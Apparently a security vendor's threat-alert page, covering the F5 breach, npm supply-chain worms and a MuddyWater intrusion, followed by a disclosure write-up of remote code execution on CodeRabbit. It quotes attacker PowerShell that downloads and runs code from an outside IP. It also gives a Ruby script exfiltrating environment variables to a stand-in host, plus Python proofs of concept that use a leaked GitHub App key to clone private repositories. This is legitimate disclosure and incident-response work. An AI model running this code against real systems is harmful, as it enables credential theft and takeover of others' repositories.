Threat Alert CenterLearn More About Our Detection and Response Services
In or around August 2025, F5 discovered that a sophisticated, likely nation‑state threat actor had gained and maintained persistent access to internal F5 systems. In particular, the actor appeared to be after product development and engineering knowledge bases. The attacker exfiltrated files which included source code and technical documentation related to F5’s BIG-IP, F5OS, and other similar offerings. F5 reports that they have contained the intrusion, engaged third‑party forensic/security firms, and begun providing upgraded software and guidance to customers. As of now, F5 states there is no confirmed evidence of exploitation of undisclosed vulnerabilities in customer environments.
It is important to note that theft of source code and internal design details raises the risk that new attack vectors or zero-day exploits could emerge over time.
Based on current statements from F5 the following are the product lines believed to be impacted or at risk:
Based on current details we know that the attackers maintained long-term access to F5's internal systems, which led to the exfiltration of files that included source coded, and undisclosed vulnerabilities. Per F5 they do not believe that the supply chain pipeline was tampered with, and that no code was modified to introduce backdoors. However, based on the duration and access that the adversaries had they would have gained deeper visibility into internal code, architectures, and possibly even development-time vulnerabilities. Given that this notice was released alongside the Quarterly Security Notification (K000156572), and include newly released vulnerabilities, it is possible that they may be tied to this. Below are two such recent vulnerabilities which highlight that functionality modules may be attacked via malformed inputs, possibly leveraging knowledge gained from exfiltrated code:
bd process may terminate, causing availability problems. Affects versions prior to certain patched releases (e.g. < 17.5.1.3, < 17.1.3, < 16.1.6.1).bd when a security policy is configured on a virtual server.While F5 works to remediate and support customers, the following mitigations can reduce potential exposure:
The CFC is actively monitoring the situation and will continue to research and provide our findings. Additionally, we have implemented increased awareness for activity involving F5 BIG-IP. At this time, the main recommendations are to do the following:
The Zero Day Initiative (ZDI) has publicly disclosed 13 unpatched zero-day vulnerabilities affecting Ivanti Endpoint Manager. These vulnerabilities were privately reported to Ivanti between June and November 2024, but released publicly after the vendor failed to provide patches within a timeline acceptable to ZDI. The two most critical bugs offer attackers unauthenticated remote code execution (ZDI-25-935) and escalation to SYSTEM-level privileges (ZDI-25-947), while the remaining 11 are post-authentication SQL injection flaws that could lead to further remote or arbitrary code execution. These vulnerabilities represent a significant risk as two or more could be chained together to achieve full system compromise.
Ivanti Endpoint Manager: all currently supported versions, cloud and on-prem.
The disclosed vulnerabilities consist of:
Until official patches are released by Ivanti, recommended actions include:
The CFC will continue monitoring the situation surrounding these vulnerabilities. Exploration of threat hunting possibilities is ongoing. An advisory update will be issued if new information becomes available that could further impact affected systems or require additional mitigation steps.
A new self-propagating malware campaign, codenamed SORVEPOTEL, has been identified targeting Brazilian users through the popular messaging app WhatsApp. This campaign, primarily affecting Windows systems, is engineered for rapid propagation rather than data theft or ransomware. The malware exploits the trust associated with WhatsApp to spread quickly across enterprise environments, leading to account suspensions due to excessive spam activity.
The CFC is currently:
SonicWall has issued security guidance in response to a recent incident involving suspicious activity targeting its cloud backup service for firewalls. An investigation revealed that threat actors accessed backup firewall preference files stored in the cloud. While the credentials in these files were encrypted, they contained potentially sensitive information that could be used to exploit related firewalls. This breach has affected less than 5% of SonicWall's firewall install base.
The affected systems are SonicWallFirewalls that use the cloud backup feature through MySonicWall.com.
Specifically, any firewalls that had their backup preference files stored in the cloud are potentially impacted.
The investigation discovered that the breach involved threat actors gaining access to encrypted firewall preference files, which are stored in the cloud as part of the SonicWall cloud backup service. Although the files are encrypted, they contained information that could facilitate the exploitation of the corresponding firewall devices.
The sensitive data within these files includes, but may not be limited to:
Although no unencrypted data was found, the exposure of these files increases the risk of future exploitation, especially if the attackers are able to further decrypt or misuse the information.
SonicWall has provided the following mitigation steps for affected users:
The Cyber Fusion Center (CFC) is actively engaged in monitoring the situation surrounding the compromised SonicWall backup firewall preference files. An advisory update will be issued if new indicators, techniques, or escalations are identified that could further impact affected systems or require additional mitigation steps.
https://thehackernews.com/2025/09/sonicwall-urges-password-resets-after.html
A coordinated supply chain attack has compromised more than 40 NPM packages, including several published under the CrowdStrike publisher account.
The attack works by injecting a malicious script, bundle.js, into selected packages. The injection process involves downloading a package tarball, modifying its package.json to include the malicious script, then repackaging and publishing the trojanized version.
The malware specifically targets the following systems to harvest credentials:
Regarding the affected packages these were quickly removed by the npm registry.
It is important to note that, In the case of CrowdStrike-affected packages, the malicious versions were also removed, and a monitoring alert has been issued. CrowdStrike is actively watching the sitaution.
The attack primarily targets the following NPM packages.
Regarding CrowdStrike npm packages, they have issued a Tech Alert named NPM Package in Public Registries:
"After detecting several malicious Node Package Manager (NPM) packages in the public PM registry, a third-party open source repository, we swiftly removed them and proactively rotated our keys in public registries. These packages are not used in the Falcon sensor, the platform is not impacted and customers remain protected. We are working with NPM and conducting a thorough investigation. This tech alert will be updated with the results of our investigation and updates as we have them."
Below is the affected list. These were publised under crowdstrike-publisher npm account.
1. Package Compromise / Injection
2. Reconnaissance & Environment Pro!ling
3. Secret / Credential Harvesting
4. Propagation / Lateral Movement in NPM
5. Persistence via GitHub Actions Backdoor
6. Data Exfiltration
To reduce risk from the ongoing NPM supply chain attacks, including those impersonating CrowdStrike packages, implement the following mitigation strategies:
1. Rotate All Tokens & Keys:
2. Lock or Pin Package Versions:
3. Inspect Postinstall / Preinstall Scripts:
4. Monitor NPM Publish Events:
5. Audit Cloud & Secret Manager Access Logs:
6. Check for Malicious GitHub Work"ows / Branches:
7. Implement Least Privilege in CI/CD & Developer Environments:
The following indicators can help identify systems affected by this attack:
Search for malicious workflow file
Search for malicious branch. To find malicious branches, you can use the following Bash script:
# List all repos and check for shai-hulud branch
gh repo list YOUR_ORG_NAME --limit 1000 --json nameWithOwner --jq '.
[].nameWithOwner' | while read repo; do
gh api "repos/$repo/branches" --jq '.[] | select(.name == "shai-hulud") |
"'$repo' has branch: " + .name'
doneFile Hashes
Network Indicators
File System Indicators
Suspicious Function Calls
Suspicious API Calls
Suspicious Process Executions
The CFC has launched a threat hunting campaign. The objective of this hunt is to identify artifacts and indicators related to the "Shai-Hulud" worm.
https://www.stepsecurity.io/blog/ctrl-tinycolor-and-40-npm-packages-compromised
https://socket.dev/blog/ongoing-supply-chain-attack-targets-crowdstrike-npm-packages
https://www.stepsecurity.io/blog/introducing-the-npm-package-cooldown-check
https://docs.stepsecurity.io/artifact-monitor
In late August 2025, our Incident Response team was engaged to investigate suspicious activity within a customer’s network located in the South Asia region. The initial signs pointed to a targeted intrusion, and forensic analysis quickly confirmed the involvement of MuddyWater, a threat actor publicly linked to the Iranian Ministry of Intelligence and Security (MOIS).
The attacker made use of a previously seen PowerShell-based malware, legitimate remote monitoring and management (RMM) tools, and living-off-the-land techniques to maintain access and move laterally. The activity observed was consistent with MuddyWater’s known tactics, techniques, and procedures (TTPs), as documented in prior public reporting and threat intelligence sources.
The following diagram summarizes the attack graph as observed by our incident response team:
.webp)
This report outlines the findings from our investigation, including technical analysis of the attacker’s methods, Indicators of Compromise (IOCs) and malware tooling.
MuddyWater is a state-sponsored adversary attributed to the Islamic Republic of Iran, assessed with high confidence by multiple cybersecurity organizations and government agencies. Active since at least 2017, the group is known for conducting espionage-driven intrusions primarily targeting organizations across the Middle East, South Asia, Europe, and North America.
The group is tracked under various aliases by different threat intelligence vendors: Static Kitten (CrowdStrike), Seedworm (Symantec / Broadcom) or also Mercury (Microsoft).
The adversary group is known to rely on two techniques for initial access: the exploitation of internet-exposed assets and spear-phishing campaigns.
Historically, MuddyWater has been observed exploiting vulnerabilities in Microsoft Exchange and SharePoint servers to gain direct access to internal environments.
In more recent activity, the group relied on ClickFix phishing campaign, as documented by Fortinet, which leveraged malicious PowerShell payloads embedded in phishing lures to initiate multi-stage attack chains.
During the investigation, forensic evidence confirmed that the initial compromise was achieved through the exploitation of the ToolShell vulnerability in Microsoft SharePoint (CVE-2025-53770). The affected SharePoint instance was accessible from the internet and running a vulnerable version at the time of the intrusion.
The adversary leveraged this vulnerability to gain unauthorized access and executed arbitrary commands on the underlying system. Initially, they exploited the vulnerability to try downloading a PowerShell RAT. When this failed, they continued to exploit the vulnerability for code execution and dropped file-management webshells. These webshells enabled them with upload, download and delete capabilities on filesystem.
ping -n 2 -a <REDACTED> > ping_dc.txt
whoami
quser
Test-NetConnection <REDACTED> -Port 445
netstat -nt
powershell.exe -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -EncodedCommand <ENCODEDCOMMAND1>
powershell.exe -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -EncodedCommand <ENCODEDCOMMAND2>The base64 strings are decoded to:
arvpxsmy;$arvpxsmy="arvpxsmy";Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri hxxp://195[.]20.17.189:443//31133?hidemyself=<REDACTED> -OutFile c:\users\public\downloads\test.html
zphygwvbz;$zphygwvbz="zphygwvbz";$command = "(Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri hxxp://195[.]20.17.189:443//35893?time=<REDACTED>).content | Invoke-Expression";saps powershell -Wind Hi -ArgumentList $command
A dump of the tunneling process revealed notable artifacts indicating that the adversary conducted an SMB sweep through the established proxy tunnel in an attempt to identify accessible internal hosts. This scan activity involved probing multiple IP addresses on the network over port 445 (SMB), likely to discover systems where administrative shares were exposed or lateral movement was possible.
Despite changes in tooling or infrastructure, MuddyWater/Static Kitten continues to rely on a well-established set of Tactics, Techniques, and Procedures (TTPs) observed globally across multiple campaigns. Their playbook still includes exploitation of public-facing applications, phishing, abuse of legitimate remote access tools and lateral movement using native Windows utilities.
A significant supply chain attack has compromised the NPM account of the developer known as qix, leading to the distribution of malicious versions of numerous widely used packages. This attack has affected packages with a combined weekly download count exceeding 2-3 billion, posing a substantial threat to the JavaScript ecosystem. The malicious code, identified as a crypto-clipper, is designed to intercept and manipulate cryptocurrency transactions by swapping wallet addresses and hijacking transactions.
The attack primarily targets the following NPM packages, which are widely used across various projects:
The GitHub code repositories for these packages were not affected; the attack was confined to the NPM registry.
1. Phishing Attack
[email protected]). This email was designed to trick the package maintainer into providing their credentials, including two-factor authentication (2FA) codes.2. Account Compromise
3. Malware Injection
index.js files of the compromised packages. This malware is a sophisticated browser-based interceptor that hooks into JavaScript functions like fetch, XMLHttpRequest, and wallet APIs (window.ethereum, Solana, etc.).4. Malware Functionality
5. Technical Implementation
window.ethereum to determine if a crypto wallet is being used, and if so, it hooks into the wallet's communication methods (request, send, sendAsync).1. Audit Dependencies: Developers should immediately audit their project's dependencies to identify and remove any compromised packages. This includes checking node_modules and package-lock.json for malicious code. As a direct method of detection, you can scan your node_modules directory for the malicious code using this command, which searches for a unique string found in the payload: grep -r "const _0x112" node_modules/
2. Pin Safe Versions: Use the overrides feature in package.json to pin affected packages to their last known-safe versions. For example:
{
"name": "your-project",
"version": "1.0.0",
"overrides": {
"chalk": "5.3.0",
"strip-ansi": "7.1.0",
"color-convert": "2.0.1",
"color-name": "1.1.4",
"error-ex": "1.3.2",
"has-ansi": "5.0.1"
}3. Reinstall Dependencies: Delete node_modules and package-lock.json, then run npm install to generate a new, clean lockfile.
4. Verify Transactions: Users should meticulously verify all cryptocurrency transactions to ensure the recipient addresses are correct. See this GitHub Gist for a list of all wallets.
5. Monitor for Indicators of Compromise: Check for the presence of the function checkethereumw in your codebase as an indicator of compromise.
In this blog post, we explain how we got remote code execution (RCE) on CodeRabbit’s production servers, leaked their API tokens and secrets, how we could have accessed their PostgreSQL database, and how we obtained read and write access to 1 million code repositories, including private ones.
This blog post is a detailed write-up of one of the vulnerabilities we disclosed at Black Hat USA this year. The details provided in this post are meant to demonstrate how these security issues can manifest and be exploited in the hopes that others can avoid similar issues. This is not meant to shame any particular vendor; it happens to everyone. Security is a process, and avoiding vulnerabilities takes constant vigilance.
Note: The security issues documented in this post were quickly remediated in January of 2025. We appreciate CodeRabbit’s swift action after we reported this security vulnerability. They reported to us that within hours, they addressed the issue and strengthened their overall security measures responding with the following:
More information from CodeRabbit on their response can be found here: https://www.coderabbit.ai/blog/our-response-to-the-january-2025-kudelski-security-vulnerability-disclosure-action-and-continuous-improvement
Last December, I spoke at 38C3 in Hamburg and covered 2 security flaws I discovered in Qodo Merge. After getting off the stage, someone came to me and asked whether I had looked at other AI code review tools, such as CodeRabbit. I thanked them and said this would be a great target to have a look at. Fast forward a couple of weeks, and here I am, having a look at their security.
CodeRabbit is an AI code review tool. Their website mentions it’s the most installed AI app on GitHub & Gitlab, with 1 million repositories in review and 5 million pull requests reviewed.
Indeed, the application is the most installed GitHub app in the AI Assisted category on GitHub Marketplace. It is also on the first page of the most installed GitHub apps overall across all categories on GitHub Marketplace.
Once CodeRabbit is installed on a repository, every time a new pull request (PR) is created or updated, the application will analyze the code changes in the PR and review them using AI. CodeRabbit will finally post its code review as a comment on the pull request, where the developer can read it.
This is a very useful developer productivity tool that can summarize PRs, find security issues in the code, suggest code improvements or even document the code or illustrate it by generating diagrams. It can save developers a lot of time.
There are multiple pricing plans, and one of them is called Pro. That one includes support for linters and SAST tools, such as Semgrep. Alternatively, there’s a free 14-day trial for the Pro plan. Also, the Pro plan comes for free for people working on open source projects.
I registered for the free trial and logged in using my GitHub account.
When first logging into CodeRabbit using GitHub, the application asks to install and authorize on a personal GitHub account. The user is asked to select which repositories the application should be installed to. The user can also review the permissions that the CodeRabbit GitHub app will be granted. Namely, read and write access to code in the selected repositories.
At this point, this sounded very similar to what happened with Qodo Merge. I had to look into it. If somehow we could leak the GitHub API token, we would get read and write access to the repository in which CodeRabbit was installed.
I immediately created a private GitHub repository on my personal GitHub account and granted the application access to that new repository so that it starts reviewing my PRs on that repo.
In order to get more familiar with the features and how to use them, I created a PR and saw that a comment containing a code review was posted by the CodeRabbit bot. Here are a few screenshots of what it generated.
Now that I had a better idea of how it worked, I could start looking for vulnerabilities.
I had a look at the official documentation and noticed that CodeRabbit supported running dozens of static analysis tools. These are the linters and SAST tools mentioned on the pricing page discussed above.
The application runs these tools on your PR changes depending on a few conditions:
.php extensionSome tools are enabled by default and will run if corresponding files exist. Otherwise, a .coderabbit.yaml file placed in the repository can be used to configure which tools should be enabled. Alternatively, the CodeRabbit web app settings can be used to configure tools.
The documentation page also states that each tool can be configured by providing a path to a configuration file read by the tool. Now we’re talking!
Since CodeRabbit executes these external tools, if any of these tools have a way to inject code, we may be able to run arbitrary code. So I glanced over the list of supported tools and found an interesting target: Rubocop, a Ruby static analyzer. The CodeRabbit documentation page for Rubocop states that Rubocop will run on Ruby files (.rb) in the repository. It also says that CodeRabbit will look for a .rubocop.yml file anywhere in the repository and pass it to Rubocop.
Looking at Rubocop’s documentation, we see that it supports extensions. One can use the Rubocop configuration file to specify the path to an extension Ruby file, for example, ext.rb, which will be loaded and executed by Rubocop. To do so, one can include the following snippet in .rubocop.yml:
require:
- ./ext.rbIn ext.rb, we can write arbitrary Ruby code that will be loaded and executed when Rubocop runs. We’ll use 1.2.3.4 as an example IP address that stands in for an attacker-controlled system. For example, the following Ruby script will collect the environment variables and send them to an attacker-controlled server at 1.2.3.4:
require 'net/http'
require 'uri'
require 'json'
# Collect environment variables
env_vars = ENV.to_h
# Convert environment variables to JSON format
json_data = env_vars.to_json
# Define the URL to send the HTTP POST request
url = URI.parse('http://1.2.3.4/')
begin
# Create the HTTP POST request
http = Net::HTTP.new(url.host, url.port)
request = Net::HTTP::Post.new(url.path)
request['Content-Type'] = 'application/json'
request.body = json_data
# Send the request
response = http.request(request)
rescue StandardError => e
puts "An error occurred: #{e.message}"
endExploiting this is as simple as following these steps:
.rubocop.yml file as shown aboveext.rb file as shown aboveHere’s an illustration of our malicious pull request to better understand how it works:
An illustration of what the malicious pull request looks like
After we created our malicious PR, CodeRabbit ran Rubocop on our code, which executed our malicious code and sent its environment variables to our server at 1.2.3.4.
On the server at 1.2.3.4, the following JSON payload containing environment variables was received:
{
"ANTHROPIC_API_KEYS": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_FREE": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_OSS": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_PAID": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_TRIAL": "sk-ant-api03-(CENSORED)",
"APERTURE_AGENT_ADDRESS": "(CENSORED)",
"APERTURE_AGENT_KEY": "(CENSORED)",
"AST_GREP_ESSENTIALS": "ast-grep-essentials",
"AST_GREP_RULES_PATH": "/home/jailuser/ast-grep-rules",
"AWS_ACCESS_KEY_ID": "",
"AWS_REGION": "",
"AWS_SECRET_ACCESS_KEY": "",
"AZURE_GPT4OMINI_DEPLOYMENT_NAME": "",
"AZURE_GPT4O_DEPLOYMENT_NAME": "",
"AZURE_GPT4TURBO_DEPLOYMENT_NAME": "",
"AZURE_O1MINI_DEPLOYMENT_NAME": "",
"AZURE_O1_DEPLOYMENT_NAME": "",
"AZURE_OPENAI_API_KEY": "",
"AZURE_OPENAI_ENDPOINT": "",
"AZURE_OPENAI_ORG_ID": "",
"AZURE_OPENAI_PROJECT_ID": "",
"BITBUCKET_SERVER_BOT_TOKEN": "",
"BITBUCKET_SERVER_BOT_USERNAME": "",
"BITBUCKET_SERVER_URL": "",
"BITBUCKET_SERVER_WEBHOOK_SECRET": "",
"BUNDLER_ORIG_BUNDLER_VERSION": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_BUNDLE_BIN_PATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_BUNDLE_GEMFILE": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_GEM_HOME": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_GEM_PATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_MANPATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_PATH": "/pnpm:/usr/local/go/bin:/root/.local/bin:/swift/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"BUNDLER_ORIG_RB_USER_INSTALL": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_RUBYLIB": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_RUBYOPT": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"CI": "true",
"CLOUD_API_URL": "https://(CENSORED)",
"CLOUD_RUN_TIMEOUT_SECONDS": "3600",
"CODEBASE_VERIFICATION": "true",
"CODERABBIT_API_KEY": "",
"CODERABBIT_API_URL": "https://(CENSORED)",
"COURIER_NOTIFICATION_AUTH_TOKEN": "(CENSORED)",
"COURIER_NOTIFICATION_ID": "(CENSORED)",
"DB_API_URL": " https://(CENSORED)",
"ENABLE_APERTURE": "true",
"ENABLE_DOCSTRINGS": "true",
"ENABLE_EVAL": "false",
"ENABLE_LEARNINGS": "",
"ENABLE_METRICS": "",
"ENCRYPTION_PASSWORD": "(CENSORED)",
"ENCRYPTION_SALT": "(CENSORED)",
"FIREBASE_DB_ID": "",
"FREE_UPGRADE_UNTIL": "2025-01-15",
"GH_WEBHOOK_SECRET": "(CENSORED)",
"GITHUB_APP_CLIENT_ID": "(CENSORED)",
"GITHUB_APP_CLIENT_SECRET": "(CENSORED)",
"GITHUB_APP_ID": "(CENSORED)",
"GITHUB_APP_NAME": "coderabbitai",
"GITHUB_APP_PEM_FILE": "-----BEGIN RSA PRIVATE KEY-----\n(CENSORED)-\n-----END RSA PRIVATE KEY-----\n",
"GITHUB_CONCURRENCY": "8",
"GITHUB_ENV": "",
"GITHUB_EVENT_NAME": "",
"GITHUB_TOKEN": "",
"GITLAB_BOT_TOKEN": "(CENSORED)",
"GITLAB_CONCURRENCY": "8",
"GITLAB_WEBHOOK_SECRET": "",
"HOME": "/root",
"ISSUE_PROCESSING_BATCH_SIZE": "30",
"ISSUE_PROCESSING_START_DATE": "2023-06-01",
"JAILUSER": "jailuser",
"JAILUSER_HOME_PATH": "/home/jailuser",
"JIRA_APP_ID": "(CENSORED)",
"JIRA_APP_SECRET": "(CENSORED)",
"JIRA_CLIENT_ID": "(CENSORED)",
"JIRA_DEV_CLIENT_ID": "(CENSORED)",
"JIRA_DEV_SECRET": "(CENSORED)",
"JIRA_HOST": "",
"JIRA_PAT": "",
"JIRA_SECRET": "(CENSORED)",
"JIRA_TOKEN_URL": "https://auth.atlassian.com/oauth/token",
"K_CONFIGURATION": "pr-reviewer-saas",
"K_REVISION": "pr-reviewer-saas-(CENSORED)",
"K_SERVICE": "pr-reviewer-saas",
"LANGCHAIN_API_KEY": "(CENSORED)",
"LANGCHAIN_PROJECT": "default",
"LANGCHAIN_TRACING_SAMPLING_RATE_CR": "50",
"LANGCHAIN_TRACING_V2": "true",
"LANGUAGETOOL_API_KEY": "(CENSORED)",
"LANGUAGETOOL_USERNAME": "(CENSORED)",
"LD_LIBRARY_PATH": "/usr/local/lib:/usr/lib:/lib:/usr/libexec/swift/5.10.1/usr/lib",
"LINEAR_PAT": "",
"LLM_PROVIDER": "",
"LLM_TIMEOUT": "300000",
"LOCAL": "false",
"NODE_ENV": "production",
"NODE_VERSION": "22.9.0",
"NPM_CONFIG_REGISTRY": "http://(CENSORED)",
"OAUTH2_CLIENT_ID": "",
"OAUTH2_CLIENT_SECRET": "",
"OAUTH2_ENDPOINT": "",
"OPENAI_API_KEYS": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_FREE": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_OSS": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_PAID": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_TRIAL": "sk-proj-(CENSORED)",
"OPENAI_BASE_URL": "",
"OPENAI_ORG_ID": "",
"OPENAI_PROJECT_ID": "",
"PATH": "/pnpm:/usr/local/go/bin:/root/.local/bin:/swift/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"PINECONE_API_KEY": "(CENSORED)",
"PINECONE_ENVIRONMENT": "us-central1-gcp",
"PNPM_HOME": "/pnpm",
"PORT": "8080",
"POSTGRESQL_DATABASE": "(CENSORED)",
"POSTGRESQL_HOST": "(CENSORED)",
"POSTGRESQL_PASSWORD": "(CENSORED)",
"POSTGRESQL_USER": "(CENSORED)",
"PWD": "/inmem/21/d277c149-9d6a-4dde-88cc-03f724b50e2d/home/jailuser/git",
"REVIEW_EVERYTHING": "false",
"ROOT_COLLECTION": "",
"SELF_HOSTED": "",
"SELF_HOSTED_KNOWLEDGE_BASE": "",
"SELF_HOSTED_KNOWLEDGE_BASE_BRANCH": "",
"SENTRY_DSN": "https://(CENSORED)",
"SERVICE_NAME": "pr-reviewer-saas",
"SHLVL": "0",
"TELEMETRY_COLLECTOR_URL": "https://(CENSORED)",
"TEMP_PATH": "/inmem",
"TINI_VERSION": "v0.19.0",
"TRPC_API_BASE_URL": "https://(CENSORED)",
"VECTOR_COLLECTION": "",
"YARN_VERSION": "1.22.22",
"_": "/usr/local/bin/rubocop"
}That payload contained so many secrets that it actually took me a few minutes to grasp what we had gotten access to. The environment variables contained, notably:
Leaking environment variables is one thing, but since we obtained remote code execution (RCE) on that server, there is even more that an attacker could have done. Indeed, they could connect to the Postgres database server on the internal network. They could perform destructive operations. They could likely obtain the source code of the CodeRabbit app itself which is potentially somewhere in the Docker container where the external tool runs.
Before exploring the leaked environment variables further, we performed a few minimal reconnaissance operations, such as listing a few directories and reading the contents of a couple files on the production system, just to confirm the impacts. But this process was not really efficient and we were not able to quickly confirm the presence of the original source code of the webapp there. However, the built application was there in the /app/pr-reviewer-saas/dist directory.
Additionally, since this was a production server, we didn’t want to do anything that could disrupt the service and decided to stop there.
But there was more. Let’s go back to the exfiltrated environment variables.
As mentioned above, one of the environment variables was named GITHUB_APP_PEM_FILE and its value contained a private key. This is actually the private key of the CodeRabbit GitHub app. This private key can be used to authenticate to the GitHub REST API and act on behalf of the CodeRabbit GitHub app. Since users have granted CodeRabbit write access to their repositories, this private key gives us write access to 1 million repositories!
Let’s go through a few operations that one can perform with this private key.
As of this writing, the CodeRabbit GitHub app was installed over 80’000 times. Basically, this tells us that at least that amount of GitHub personal accounts or organizations installed CodeRabbit and use it for at least one of their repositories. But these accounts may very well have granted access to more than one repository, or even all of their repositories.
The website states that they review 1M repositories. These include GitHub repositories, but likely also repositories from other platforms that CodeRabbit supports, such as Gitlab, and on-premises git providers.
We will see below (see Proof of concept) how one can programatically list GitHub app installations using the GitHub API.
For a given installation, one can list the GitHub repositories to which this installation has been granted access.
We can also see that the installation has read/write access to the code of the repository, among other permissions. For reference, this is the list of permissions the CodeRabbit app has on the repositories it has access to:
"permissions": {
"actions": "read",
"checks": "read",
"contents": "write",
"discussions": "read",
"issues": "write",
"members": "read",
"metadata": "read",
"pull_requests": "write",
"statuses": "write"
},Note that these permissions are public information that anyone can see here.
A GitHub API access token can be created for the CodeRabbit app installation. This access token has all the permissions listed above and can be used on all the repositories the app installation has access to. It can be used to, for example, clone the repository or push git commits to it, since we not only have read access but also write access to the contents. This can also be used to update GitHub releases, including the downloadable files (the assets), and replace them with malware and therefore serve malware directly from the targeted official GitHub repository.
The access token is valid for at most 10 minutes, but since we have the private key, more access tokens can be generated at any time, even if they expire.
But this gets even scarier. Generated access tokens can also be used to clone private repositories (!) that the user has granted CodeRabbit access to. Indeed, as long as the user has granted CodeRabbit access to a repository, the private key can be used to access it. It doesn’t matter if it’s public or private.
Therefore, a malicious person could exploit the vulnerability to leak the CodeRabbit GitHub app private key, list all the installations, list each repository, generate an access token for each repository, and clone private repositories, serve malware from public repositories or manipulate the git history of a repository. This could be used to perform lateral movement and potentially leak GitHub repository secrets of the GitHub repository through GitHub actions if the targeted repository contains vulnerable GitHub actions.
Here’s an example of how this can be achieved using the PyGitHub Python library, assuming that the private key is stored in a file called priv.pem and that we have the app ID and client ID (also leaked from the environment variables):
#!/usr/bin/env python3
import json
import time
import jwt
import requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
app_id = "TODO_insert_app_id_here"
client_id = "Iv1.TODO_insert_client_id_here"
def gen_jwt():
payload = {
# Issued at time
'iat': int(time.time() - 60),
# JWT expiration time (10 minutes maximum)
'exp': int(time.time()) + 600 - 60,
# GitHub App's client ID
'iss': client_id
}
# Create JWT
encoded_jwt = jwt.encode(payload, signing_key, algorithm="RS256")
return encoded_jwt
def create_access_token(install_id, jwt):
response = requests.post(
f"https://api.github.com/app/installations/{install_id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt}",
"X-GitHub-Api-Version": "2022-11-28",
}
)
j = response.json()
access_token = j["token"]
return access_token
def auth():
auth = Auth.AppAuth(app_id, signing_key)
gi = GithubIntegration(auth=auth)
app = gi.get_app()
# iterate through app installations, get the first 5
for installation in gi.get_installations().reversed[:5]:
install_id = installation.id
# or access an installation by its ID directly
installation = gi.get_app_installation(install_id)
jwt = gen_jwt()
create_access_token(install_id, jwt)
# get all github repositories this installation has access to
repos = installation.get_repos()
for repo in repos:
full_name = repo.full_name
stars = repo.stargazers_count
html_url = repo.html_url
is_private_repo = repo.private
clone_url = f"https://x-access-token:{access_token}@github.com/{full_name}.git"
print(clone_url)
# repo can be cloned with "git clone {clone_url}"
# access token is valid for 10 minutes, but a new one can be generated whenever needed
if __name__ == "__main__":
auth()Obviously, iterating through the list of all GitHub installations would have required making thousands of requests to the GitHub API on behalf of the production CodeRabbit GitHub app and this may have exceeded the API quota. We didn’t want to risk disrupting the production service so we only iterated through a couple installations to confirm the PoC was working.
We mentioned earlier that we couldn’t confirm the presence of the original source code of the application on the production Docker container. Well, since CodeRabbit eats their own dog food, they run their application on their own GitHub repositories. We can therefore easily retrieve the app installation ID for their GitHub organization and list the repositories this app installation has access to.
This is the list of private repositories the coderabbitai GitHub organization has granted CodeRabbit access to:
To go further, one can generate an access token (as explained above) and clone these private repositories.
Here’s the PoC to do this. Note that it’s similar to the above, except that we directly retrieve the app installation for a specific GitHub organization by its name, instead of iterating through all the installations:
#!/usr/bin/env python3
import time
import jwt
import requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
app_id = "CENSORED"
client_id = "CENSORED"
def gen_jwt():
payload = {
# Issued at time
'iat': int(time.time() - 60),
# JWT expiration time (10 minutes maximum)
'exp': int(time.time()) + 600 - 60,
# GitHub App's client ID
'iss': client_id
}
# Create JWT
encoded_jwt = jwt.encode(payload, signing_key, algorithm="RS256")
return encoded_jwt
def auth():
auth = Auth.AppAuth(app_id, signing_key)
gi = GithubIntegration(auth=auth)
# Target a specific Github organization that uses CodeRabbit
org = "coderabbitai"
installation = gi.get_org_installation(org)
# Target a specific Github user that uses CodeRabbit
# user = "amietn"
# installation = gi.get_user_installation(user)
print(installation.id)
gen_token = True
if gen_token:
jwt = gen_jwt()
response = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt}",
"X-GitHub-Api-Version": "2022-11-28",
}
)
j = response.json()
access_token = j["token"]
repos = installation.get_repos()
print("---repos---")
for repo in repos:
full_name = repo.full_name
html_url = repo.html_url
private = repo.private
if private:
print(f"* {full_name} ({private=}) - {html_url}")
if gen_token:
clone_url = f"https://x-access-token:{access_token}@github.com/{full_name}.git"
print(clone_url)
if __name__ == "__main__":
auth()In a similar way, a malicious person could target not only a specific GitHub organization but also a specific GitHub personal account that uses CodeRabbit and access their private repositories and/or modify them.
As you can see, one can directly obtain the app installation ID for an organization or a user. So, this way there is no need to iterate through all the GitHub app installations to find a specific GitHub user or organization. Only the organization or user’s name is required.
Let’s take a moment to summarize the impacts of getting write access to these 1 million repositories. A malicious person could have performed the following operations on affected repositories:
